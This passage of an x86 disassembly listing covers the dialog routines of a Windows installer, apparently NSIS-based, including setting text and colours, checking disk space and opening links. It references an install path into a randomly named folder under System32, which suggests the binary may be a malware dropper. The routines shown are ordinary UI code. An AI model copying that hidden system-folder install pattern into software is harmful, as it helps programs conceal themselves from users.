		call	sub_4052B9	; SetDlgItemTextA
		retn	0Ch
sub_403DC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_403DE5	proc near		; CODE XREF: sub_4038DB+302p
					; sub_403F0B+92p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	dword_42A89C
		call	ds:dword_407234	; EnableWindow
		retn	4
sub_403DE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_403DF8	proc near		; CODE XREF: sub_4038DB:loc_403C26p
					; sub_403F0B+A8p ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		push	28h
		push	dword_42F424
		call	ds:dword_40723C	; SendMessageA
		retn	4
sub_403DF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E0F	proc near		; CODE XREF: sub_4038DB+243p
					; sub_4038DB+469p ...

arg_0		= dword	ptr  4

		mov	eax, dword_42EBF8
		test	eax, eax
		jz	short locret_403E27
		push	0
		push	0
		push	[esp+8+arg_0]
		push	eax
		call	ds:dword_40723C	; SendMessageA

locret_403E27:				; CODE XREF: sub_403E0F+7j
		retn	4
sub_403E0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E2A	proc near		; CODE XREF: sub_4038DB+181p
					; sub_403F0B+27Fp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	esi
		add	eax, 0FFFFFECDh
		cmp	eax, 5
		ja	loc_403ED0
		push	0FFFFFFEBh
		push	[ebp+arg_8]
		call	ds:dword_407184	; GetWindowLongA
		mov	esi, eax
		test	esi, esi
		jz	short loc_403ED0
		test	byte ptr [esi+14h], 2
		mov	eax, [esi]
		push	edi
		mov	edi, ds:dword_407180
		jz	short loc_403E65
		push	eax
		call	edi	; GetSysColor

loc_403E65:				; CODE XREF: sub_403E2A+36j
		test	byte ptr [esi+14h], 1
		jz	short loc_403E75
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_407054	; SetTextColor

loc_403E75:				; CODE XREF: sub_403E2A+3Fj
		push	dword ptr [esi+10h]
		push	[ebp+arg_4]
		call	ds:dword_407050	; SetBkMode
		mov	eax, [esi+4]
		test	byte ptr [esi+14h], 8
		mov	[ebp+var_8], eax
		jz	short loc_403E93
		push	eax
		call	edi	; GetSysColor
		mov	[ebp+var_8], eax

loc_403E93:				; CODE XREF: sub_403E2A+61j
		test	byte ptr [esi+14h], 4
		pop	edi
		jz	short loc_403EA4
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_40703C	; SetBkColor

loc_403EA4:				; CODE XREF: sub_403E2A+6Ej
		test	byte ptr [esi+14h], 10h
		jz	short loc_403ECB
		mov	eax, [esi+8]
		mov	[ebp+var_C], eax
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_403EBE
		push	eax
		call	ds:dword_407044	; DeleteObject

loc_403EBE:				; CODE XREF: sub_403E2A+8Bj
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_407048	; CreateBrushIndirect
		mov	[esi+0Ch], eax

loc_403ECB:				; CODE XREF: sub_403E2A+7Ej
		mov	eax, [esi+0Ch]
		jmp	short loc_403ED2
; ---------------------------------------------------------------------------

loc_403ED0:				; CODE XREF: sub_403E2A+12j
					; sub_403E2A+27j
		xor	eax, eax

loc_403ED2:				; CODE XREF: sub_403E2A+A4j
		pop	esi
		leave
		retn	0Ch
sub_403E2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403ED7	proc near		; DATA XREF: sub_403F0B+5Eo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_42986C
		push	[ebp+arg_8]
		add	ecx, eax
		push	ecx
		push	[ebp+arg_4]
		call	ds:dword_4070B8	; lstrcpyn
		push	[ebp+arg_4]
		call	sub_4059F1	; lstrlen
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		add	dword_42986C, eax
		xor	eax, eax
		pop	ebp
		retn	10h
sub_403ED7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F0B	proc near		; DATA XREF: .data:off_409288o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 110h
		push	ebx
		push	esi
		push	edi
		jnz	loc_40402E
		mov	ebx, [ebp+arg_C]
		mov	edi, [ebx+30h]
		test	edi, edi
		jge	short loc_403F3C
		mov	ecx, dword_42EBFC
		lea	eax, ds:4[edi*4]
		sub	ecx, eax
		mov	edi, [ecx]

loc_403F3C:				; CODE XREF: sub_403F0B+1Ej
		mov	eax, dword_42F458
		push	dword ptr [ebx+34h]
		add	edi, eax
		push	22h
		movsx	eax, byte ptr [edi]
		mov	[ebp+arg_C], eax
		mov	eax, [ebx+14h]
		push	[ebp+arg_0]
		and	[ebp+var_8], 0
		mov	esi, eax
		inc	edi
		not	esi
		shr	esi, 5
		and	esi, 1
		and	eax, 1
		mov	[ebp+var_C], edi
		mov	[ebp+var_4], offset sub_403ED7
		or	esi, eax
		call	sub_403DC3
		push	dword ptr [ebx+38h]
		push	23h
		push	[ebp+arg_0]
		call	sub_403DC3
		xor	eax, eax
		push	1
		test	esi, esi
		setz	al
		add	eax, 40Ah
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_407190	; CheckDlgButton
		push	esi
		call	sub_403DE5
		push	3E8h
		push	[ebp+arg_0]
		call	ds:dword_407224	; GetDlgItem
		mov	ebx, eax
		push	ebx
		call	sub_403DF8
		mov	esi, ds:dword_40723C
		push	0
		push	1
		push	45Bh
		push	ebx
		call	esi	; SendMessageA
		mov	eax, dword_42F428
		mov	eax, [eax+68h]
		test	eax, eax
		jge	short loc_403FDF
		neg	eax
		push	eax
		call	ds:dword_407180	; GetSysColor

loc_403FDF:				; CODE XREF: sub_403F0B+C9j
		push	eax
		push	0
		push	443h
		push	ebx
		call	esi	; SendMessageA
		push	4010000h
		push	0
		push	445h
		push	ebx
		call	esi	; SendMessageA
		and	dword_42986C, 0
		push	edi
		call	sub_4059F1	; lstrlen
		push	eax
		push	0
		push	435h
		push	ebx
		call	esi	; SendMessageA
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_C]
		push	449h
		push	ebx
		call	esi	; SendMessageA
		and	dword_42A888, 0
		xor	eax, eax
		jmp	loc_40418F
; ---------------------------------------------------------------------------

loc_40402E:				; CODE XREF: sub_403F0B+10j
		cmp	[ebp+arg_4], 111h
		mov	ebx, ds:dword_407224
		mov	esi, ds:dword_40723C
		jnz	short loc_40409D
		mov	eax, [ebp+arg_8]
		shr	eax, 10h
		test	ax, ax
		jnz	loc_404180
		xor	eax, eax
		cmp	dword_42A888, eax
		jnz	loc_404180
		mov	ecx, dword_42A078
		lea	edi, [ecx+14h]
		test	byte ptr [edi],	20h
		jz	loc_404180
		push	eax
		push	eax
		push	0F0h
		push	40Ah
		push	[ebp+arg_0]
		call	ebx	; GetDlgItem
		push	eax
		call	esi	; SendMessageA
		mov	ecx, [edi]
		and	eax, 1
		and	ecx, 0FFFFFFFEh
		push	eax
		or	ecx, eax
		mov	[edi], ecx
		call	sub_403DE5
		call	sub_404196

loc_40409D:				; CODE XREF: sub_403F0B+136j
		cmp	[ebp+arg_4], 4Eh
		jnz	loc_404171
		push	3E8h
		push	[ebp+arg_0]
		call	ebx	; GetDlgItem
		mov	edi, [ebp+arg_C]
		cmp	dword ptr [edi+8], 70Bh
		jnz	short loc_40412F
		cmp	dword ptr [edi+0Ch], 201h
		jnz	short loc_40412F
		mov	ecx, [edi+1Ch]
		mov	edx, [edi+18h]
		mov	[ebp+var_8], ecx
		sub	ecx, edx
		cmp	ecx, 800h
		mov	[ebp+var_C], edx
		mov	[ebp+var_4], offset aCWindowsSyst_3 ; "C:\\WINDOWS\\System32\\b06FdUe\\b06FdUe1083"...
		jnb	short loc_40412F
		lea	ecx, [ebp+var_C]
		push	ecx
		push	0
		push	44Bh
		push	eax
		call	esi	; SendMessageA
		mov	edi, ds:dword_40718C
		push	7F02h
		push	0
		call	edi	; LoadCursorA
		mov	ebx, ds:dword_407188
		push	eax
		call	ebx	; SetCursor
		push	1
		push	0
		push	0
		push	[ebp+var_4]
		push	offset aOpen	; "open"
		push	[ebp+arg_0]
		call	ds:dword_40715C
		push	7F00h
		push	0
		call	edi	; LoadCursorA
		push	eax
		call	ebx	; SetCursor
		mov	edi, [ebp+arg_C]

loc_40412F:				; CODE XREF: sub_403F0B+1B0j
					; sub_403F0B+1B9j ...
		cmp	dword ptr [edi+8], 700h
		jnz	short loc_404183
		cmp	dword ptr [edi+0Ch], 100h
		jnz	short loc_404183
		cmp	dword ptr [edi+10h], 0Dh
		jnz	short loc_404158
		push	0
		push	1
		push	111h
		push	dword_42F424
		call	esi	; SendMessageA

loc_404158:				; CODE XREF: sub_403F0B+23Aj
		cmp	dword ptr [edi+10h], 1Bh
		jnz	short loc_40416C
		push	0
		push	0
		push	10h
		push	dword_42F424
		call	esi	; SendMessageA

loc_40416C:				; CODE XREF: sub_403F0B+251j
		xor	eax, eax
		inc	eax
		jmp	short loc_40418F
; ---------------------------------------------------------------------------

loc_404171:				; CODE XREF: sub_403F0B+196j
		cmp	[ebp+arg_4], 40Bh
		jnz	short loc_404180
		inc	dword_42A888

loc_404180:				; CODE XREF: sub_403F0B+141j
					; sub_403F0B+14Fj ...
		mov	edi, [ebp+arg_C]

loc_404183:				; CODE XREF: sub_403F0B+22Bj
					; sub_403F0B+234j
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_403E2A

loc_40418F:				; CODE XREF: sub_403F0B+11Ej
					; sub_403F0B+264j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_403F0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_404196	proc near		; CODE XREF: sub_403F0B+18Dp
					; sub_404201+2DAp ...
		cmp	dword_42F4AC, 0
		mov	eax, dword_429868
		jnz	short loc_4041A9
		mov	eax, dword_42A89C

loc_4041A9:				; CODE XREF: sub_404196+Cj
		push	1
		push	1
		push	0F4h
		push	eax
		call	ds:dword_40723C	; SendMessageA
		retn
sub_404196	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041BA	proc near		; DATA XREF: .data:00409298o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 110h
		push	esi
		mov	esi, [ebp+arg_C]
		jnz	short loc_4041F0
		push	dword ptr [esi+30h]
		push	1Dh
		push	[ebp+arg_0]
		call	sub_403DC3
		mov	eax, [esi+3Ch]
		shl	eax, 0Ah
		add	eax, offset dword_430000
		push	eax
		push	3E8h
		push	[ebp+arg_0]
		call	sub_4052B9	; SetDlgItemTextA

loc_4041F0:				; CODE XREF: sub_4041BA+Ej
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_403E2A
		pop	esi
		pop	ebp
		retn	10h
sub_4041BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404201	proc near		; DATA XREF: .data:00409290o

var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, dword_42A078
		push	ebx
		push	esi
		mov	[ebp+var_20], eax
		mov	esi, [eax+3Ch]
		mov	eax, [eax+38h]
		shl	esi, 0Ah
		add	esi, offset dword_430000
		cmp	[ebp+arg_4], 40Bh
		push	edi
		mov	[ebp+var_8], eax
		mov	ebx, 3FBh
		jnz	short loc_40423F
		push	esi
		push	ebx
		call	sub_4052BF
		push	esi
		call	sub_405C17

loc_40423F:				; CODE XREF: sub_404201+2Fj
		cmp	[ebp+arg_4], 110h
		jnz	short loc_4042C0
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_407224	; GetDlgItem
		push	esi
		mov	edi, eax
		call	sub_405554
		test	eax, eax
		jz	short loc_40426E
		push	esi
		call	sub_40557B
		test	eax, eax
		jnz	short loc_40426E
		push	esi
		call	sub_4054E8

loc_40426E:				; CODE XREF: sub_404201+5Bj
					; sub_404201+65j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	dword_42EBF8, eax
		call	ds:dword_4071E8	; SetWindowTextA
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+34h]
		push	1
		push	[ebp+arg_0]
		call	sub_403DC3
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+30h]
		push	14h
		push	[ebp+arg_0]
		call	sub_403DC3
		push	edi
		call	sub_403DF8
		push	offset aShautocomplete ; "SHAutoComplete"
		push	offset aShlwapi_dll ; "shlwapi.dll"
		call	sub_405CEE
		test	eax, eax
		jz	loc_4044E6
		push	1
		push	edi
		call	eax

loc_4042C0:				; CODE XREF: sub_404201+45j
		cmp	[ebp+arg_4], 111h
		jnz	loc_404393
		movzx	eax, word ptr [ebp+arg_8]
		cmp	eax, ebx
		jnz	short loc_4042ED
		mov	ecx, [ebp+arg_8]
		shr	ecx, 10h
		cmp	cx, 300h
		jnz	loc_4044E6
		mov	[ebp+arg_4], 40Fh

loc_4042ED:				; CODE XREF: sub_404201+D2j
		cmp	eax, 3E9h
		jnz	loc_404393
		push	7
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_44]
		push	[ebp+var_8]
		rep stosd
		mov	eax, [ebp+arg_0]
		mov	edi, offset byte_42A8A0
		push	offset dword_429C78
		mov	[ebp+var_48], eax
		mov	[ebp+var_40], edi
		mov	[ebp+var_34], offset sub_4044FB
		mov	[ebp+var_30], esi
		call	sub_4059FD
		mov	[ebp+var_3C], eax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_38], 41h
		call	ds:dword_407154
		test	eax, eax
		jz	short loc_40438C
		push	eax
		call	sub_405238
		push	esi
		call	sub_4054E8
		mov	eax, dword_42F428
		mov	eax, [eax+11Ch]
		test	eax, eax
		jz	short loc_40437A
		push	eax
		push	0
		call	sub_4059FD
		push	edi
		mov	edi, offset aCWindowsSyst_3 ; "C:\\WINDOWS\\System32\\b06FdUe\\b06FdUe1083"...
		push	edi
		call	ds:dword_4070A4	; lstrcmpi
		test	eax, eax
		jz	short loc_40437A
		push	edi
		push	esi
		call	sub_4059F7	; lstrcat

loc_40437A:				; CODE XREF: sub_404201+157j
					; sub_404201+170j
		inc	dword_42A890
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	sub_4052B9	; SetDlgItemTextA
		jmp	short loc_404393
; ---------------------------------------------------------------------------

loc_40438C:				; CODE XREF: sub_404201+13Cj
		mov	[ebp+arg_4], 40Fh

loc_404393:				; CODE XREF: sub_404201+C6j
					; sub_404201+F1j ...
		cmp	[ebp+arg_4], 40Fh
		jz	short loc_4043A9
		cmp	[ebp+arg_4], 405h
		jnz	loc_4044E6

loc_4043A9:				; CODE XREF: sub_404201+199j
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		push	esi
		push	ebx
		or	edi, 0FFFFFFFFh
		call	sub_4052BF
		push	esi
		call	sub_4055C8
		test	eax, eax
		jnz	short loc_4043CC
		mov	[ebp+var_4], 1

loc_4043CC:				; CODE XREF: sub_404201+1C2j
		push	esi
		mov	esi, offset dword_429870
		push	esi
		call	sub_4059DB
		push	esi
		call	sub_40557B
		test	eax, eax
		jz	short loc_4043E5
		and	byte ptr [eax],	0

loc_4043E5:				; CODE XREF: sub_404201+1DFj
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	offset aKernel32_dll ; "KERNEL32.dll"
		call	sub_405CEE
		test	eax, eax
		mov	ebx, 400h
		jz	short loc_40441F
		lea	ecx, [ebp+var_1C]
		push	ecx
		lea	ecx, [ebp+var_14]
		push	ecx
		lea	ecx, [ebp+var_28]
		push	ecx
		push	esi
		call	eax
		test	eax, eax
		jz	short loc_40441F
		mov	edi, [ebp+var_28]
		mov	eax, [ebp+var_24]
		shrd	edi, eax, 0Ah
		shr	eax, 0Ah
		jmp	short loc_40444E
; ---------------------------------------------------------------------------

loc_40441F:				; CODE XREF: sub_404201+1FAj
					; sub_404201+20Dj
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_4070BC	; GetDiskFreeSpaceA
		test	eax, eax
		jz	short loc_404455
		mov	eax, [ebp+var_10]
		push	ebx
		imul	eax, [ebp+var_18]
		push	[ebp+var_C]
		push	eax
		call	ds:dword_40712C	; MulDiv
		mov	edi, eax

loc_40444E:				; CODE XREF: sub_404201+21Cj
		mov	[ebp+var_8], 1

loc_404455:				; CODE XREF: sub_404201+237j
		push	5
		call	sub_404616
		cmp	edi, eax
		jnb	short loc_404467
		mov	[ebp+var_4], 2

loc_404467:				; CODE XREF: sub_404201+25Dj
		mov	ecx, dword_42EBFC
		xor	esi, esi
		cmp	[ecx+10h], esi
		jz	short loc_40449F
		push	eax
		push	0FFFFFFFBh
		push	3FFh
		call	sub_404561
		cmp	[ebp+var_8], esi
		jz	short loc_404491
		push	edi
		push	0FFFFFFFCh
		push	ebx
		call	sub_404561
		jmp	short loc_40449F
; ---------------------------------------------------------------------------

loc_404491:				; CODE XREF: sub_404201+283j
		push	offset dword_429860
		push	ebx
		push	[ebp+arg_0]
		call	sub_4052B9	; SetDlgItemTextA

loc_40449F:				; CODE XREF: sub_404201+271j
					; sub_404201+28Ej
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		mov	dword_42F4C4, eax
		jnz	short loc_4044B5
		push	7
		call	sub_401410
		mov	[ebp+var_4], eax

loc_4044B5:				; CODE XREF: sub_404201+2A8j
		mov	eax, [ebp+var_20]
		test	[eax+14h], ebx
		jz	short loc_4044C0
		mov	[ebp+var_4], esi

loc_4044C0:				; CODE XREF: sub_404201+2BAj
		xor	eax, eax
		cmp	[ebp+var_4], esi
		setz	al
		push	eax
		call	sub_403DE5
		cmp	[ebp+var_4], esi
		jnz	short loc_4044E0
		cmp	dword_42A890, esi
		jnz	short loc_4044E0
		call	sub_404196

loc_4044E0:				; CODE XREF: sub_404201+2D0j
					; sub_404201+2D8j
		mov	dword_42A890, esi

loc_4044E6:				; CODE XREF: sub_404201+B4j
					; sub_404201+DFj ...
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_403E2A
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_404201	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044FB	proc near		; DATA XREF: sub_404201+117o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	esi
		mov	esi, ds:dword_40723C
		jnz	short loc_404527
		push	[ebp+arg_C]
		push	3FBh
		call	sub_4052BF
		push	[ebp+arg_C]
		push	1
		push	466h
		push	[ebp+arg_0]
		call	esi	; SendMessageA

loc_404527:				; CODE XREF: sub_4044FB+Ej
		cmp	[ebp+arg_4], 2
		jnz	short loc_40455A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	ds:dword_407150
		test	eax, eax
		jz	short loc_40454B
		push	7
		call	sub_401410
		test	eax, eax
		jnz	short loc_40454B
		inc	eax
		jmp	short loc_40454D
; ---------------------------------------------------------------------------

loc_40454B:				; CODE XREF: sub_4044FB+40j
					; sub_4044FB+4Bj
		xor	eax, eax

loc_40454D:				; CODE XREF: sub_4044FB+4Ej
		push	eax
		push	0
		push	465h
		push	[ebp+arg_0]
		call	esi	; SendMessageA

loc_40455A:				; CODE XREF: sub_4044FB+30j
		xor	eax, eax
		pop	esi
		pop	ebp
		retn	10h
sub_4044FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404561	proc near		; CODE XREF: sub_404201+27Bp
					; sub_404201+289p ...

arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		push	14h
		cmp	esi, 100000h
		pop	edi
		push	0FFFFFFDCh
		pop	ebx
		jnb	short loc_404581
		push	0Ah
		pop	edi
		push	0FFFFFFDDh
		pop	ebx

loc_404581:				; CODE XREF: sub_404561+18j
		cmp	esi, 400h
		jnb	short loc_40458E
		push	0FFFFFFDEh
		xor	edi, edi
		pop	ebx

loc_40458E:				; CODE XREF: sub_404561+26j
		cmp	esi, 0FFFF3333h
		jnb	short loc_4045A5
		xor	eax, eax
		mov	ecx, edi
		inc	eax
		push	14h
		shl	eax, cl
sub_404561	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40459F	proc near		; DATA XREF: .data:00411189o
					; .data:0041D1E1o
		pop	ecx
		cdq
		idiv	ecx
		add	esi, eax

loc_4045A5:				; CODE XREF: sub_404561+33j
		lea	eax, [ebp-20h]
		push	0FFFFFFDFh
		push	eax
		call	sub_4059FD
		push	eax
		lea	eax, [ebp-40h]
		push	ebx
		push	eax
		call	sub_4059FD
		push	eax
		mov	eax, esi
		and	eax, 0FFFFFFh
		mov	ecx, edi
		push	0Ah
		xor	edx, edx
		lea	eax, [eax+eax*4]
		add	eax, eax
		shr	eax, cl
		pop	ecx
		div	ecx
		mov	ecx, edi
		shr	esi, cl
		push	edx
		push	esi
		push	offset aU_USS	; "%u.%u%s%s"
		mov	esi, offset byte_42A8A0
		push	dword ptr [ebp+0Ch]
		push	esi
		call	sub_4059FD
		push	esi
		mov	edi, eax
		call	sub_4059F1	; lstrlen
		add	edi, eax
		push	edi
		call	ds:dword_4071F4	; wsprintfA
		add	esp, 18h
		push	esi
		push	dword ptr [ebp+8]
		push	dword_42EBF8
		call	sub_4052B9	; SetDlgItemTextA
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_40459F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404616	proc near		; CODE XREF: sub_404201+256p
					; sub_404740+518p ...

arg_0		= dword	ptr  4

		mov	edx, dword_42F44C
		mov	ecx, dword_42F448
		xor	eax, eax
		test	edx, edx
		jz	short locret_404640
		push	esi

loc_404629:				; CODE XREF: sub_404616+27j
		test	byte ptr [ecx+8], 1
		jz	short loc_404636
		mov	esi, [esp+4+arg_0]
		add	eax, [ecx+esi*4]

loc_404636:				; CODE XREF: sub_404616+17j
		add	ecx, 418h
		dec	edx
		jnz	short loc_404629
		pop	esi

locret_404640:				; CODE XREF: sub_404616+10j
		retn	4
sub_404616	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404643	proc near		; CODE XREF: sub_404740+25Cp
					; sub_404CBD+56p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	esi
		mov	esi, ds:dword_40723C
		push	edi
		mov	edi, [ebp+arg_0]
		push	0
		push	9
		push	110Ah
		push	edi
		call	esi	; SendMessageA
		cmp	[ebp+arg_4], 0
		jz	short loc_4046A2
		call	ds:dword_407194	; GetMessagePos
		movsx	ecx, ax
		shr	eax, 10h
		movsx	eax, ax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		mov	[ebp+var_10], ecx
		call	ds:dword_40716C	; ScreenToClient
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	1111h
		push	edi
		call	esi	; SendMessageA
		test	[ebp+var_8], 66h
		jnz	short loc_40469F
		or	eax, 0FFFFFFFFh
		jmp	short loc_4046BD
; ---------------------------------------------------------------------------

loc_40469F:				; CODE XREF: sub_404643+55j
		mov	eax, [ebp+var_4]

loc_4046A2:				; CODE XREF: sub_404643+21j
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_38]
		push	eax
		push	0
		push	110Ch
		push	edi
		mov	[ebp+var_38], 4
		call	esi	; SendMessageA
		mov	eax, [ebp+var_14]

loc_4046BD:				; CODE XREF: sub_404643+5Aj
		pop	edi
		pop	esi
		leave
		retn	8
sub_404643	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046C3	proc near		; DATA XREF: .data:0040928Co

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	ebx
		push	esi
		mov	esi, ds:dword_407224
		push	edi
		push	3F9h
		push	[ebp+arg_0]
		call	esi	; GetDlgItem
		push	408h
		mov	[ebp+var_8], eax
		push	[ebp+arg_0]
		call	esi	; GetDlgItem
		mov	ebx, dword_42F448
		mov	esi, ds:dword_40723C
		mov	[ebp+var_4], eax
		mov	eax, dword_42F428
		add	eax, 94h
		xor	edi, edi
		cmp	[ebp+arg_4], 110h
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_10], eax
		jnz	loc_404932
		mov	eax, [ebp+arg_0]
		push	2
		mov	dword_42F480, eax
		mov	eax, dword_42F44C
		pop	ebx
		mov	[ebp+var_18], edi
		shl	eax, 2
		push	eax
		push	40h
		mov	[ebp+var_C], ebx
		call	ds:dword_4070F8	; GlobalAlloc
		push	6Eh
		mov	dword_42A898, eax
sub_4046C3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404740	proc near		; DATA XREF: .data:loc_41130Co
					; .data:loc_41D364o
		push	dword_42F420
		call	ds:dword_407198	; LoadBitmapA
		push	offset sub_404CBD
		push	0FFFFFFFCh
		push	dword ptr [ebp-4]
		mov	[ebp-14h], eax
		call	ds:dword_407228	; SetWindowLongA
		push	edi
		push	6
		push	21h
		push	10h
		push	10h
		mov	dword_42A894, eax
		call	ds:dword_407034
		push	0FF00FFh
		mov	dword_42A884, eax
		push	dword ptr [ebp-14h]
		push	eax
		call	ds:dword_407028
		push	dword_42A884
		push	ebx
		push	1109h
		push	dword ptr [ebp-4]
		call	esi	; SendMessageA
		push	edi
		push	edi
		push	111Ch
		push	dword ptr [ebp-4]
		call	esi	; SendMessageA
		cmp	eax, 10h
		jge	short loc_4047B6
		push	edi
		push	10h
		push	111Bh
		push	dword ptr [ebp-4]
		call	esi	; SendMessageA

loc_4047B6:				; CODE XREF: sub_404740+67j
		push	dword ptr [ebp-14h]
		call	ds:dword_407044	; DeleteObject
		xor	ebx, ebx

loc_4047C1:				; CODE XREF: sub_404740+B6j
		mov	eax, [ebp-10h]
		mov	eax, [eax+ebx*4]
		cmp	eax, edi
		jz	short loc_4047F2
		cmp	ebx, 20h
		jz	short loc_4047D3
		mov	[ebp-0Ch], edi

loc_4047D3:				; CODE XREF: sub_404740+8Ej
		push	eax
		push	edi
		call	sub_4059FD
		push	eax
		push	edi
		push	143h
		push	dword ptr [ebp-8]
		call	esi	; SendMessageA
		push	ebx
		push	eax
		push	151h
		push	dword ptr [ebp-8]
		call	esi	; SendMessageA

loc_4047F2:				; CODE XREF: sub_404740+89j
		inc	ebx
		cmp	ebx, 21h
		jl	short loc_4047C1
		mov	edi, [ebp+14h]
		mov	ebx, [ebp-0Ch]
		push	dword ptr [edi+ebx*4+30h]
		push	15h
		push	dword ptr [ebp+8]
		call	sub_403DC3
		push	dword ptr [edi+ebx*4+34h]
		push	16h
		push	dword ptr [ebp+8]
		call	sub_403DC3
		xor	edi, edi
		xor	ebx, ebx
		cmp	dword_42F44C, edi
		jle	loc_4048EE
		mov	eax, [ebp-1Ch]
		lea	edx, [eax+8]
		mov	[ebp-14h], edx

loc_404833:				; CODE XREF: sub_404740+1A2j
		lea	eax, [edx+10h]
		cmp	byte ptr [eax],	0
		jz	loc_4048CF
		mov	[ebp-38h], eax
		mov	eax, [edx]
		push	20h
		mov	edx, eax
		pop	ecx
		mov	[ebp-50h], ebx
		and	edx, ecx
		mov	dword ptr [ebp-4Ch], 0FFFF0002h
		test	al, 2
		mov	dword ptr [ebp-48h], 0Dh
		mov	[ebp-3Ch], ecx
		mov	[ebp-24h], edi
		mov	[ebp-40h], edx
		jz	short loc_4048A1
		lea	eax, [ebp-50h]
		mov	dword ptr [ebp-48h], 4Dh
		push	eax
		push	0
		push	1100h
		mov	dword ptr [ebp-28h], 1
		push	dword ptr [ebp-4]
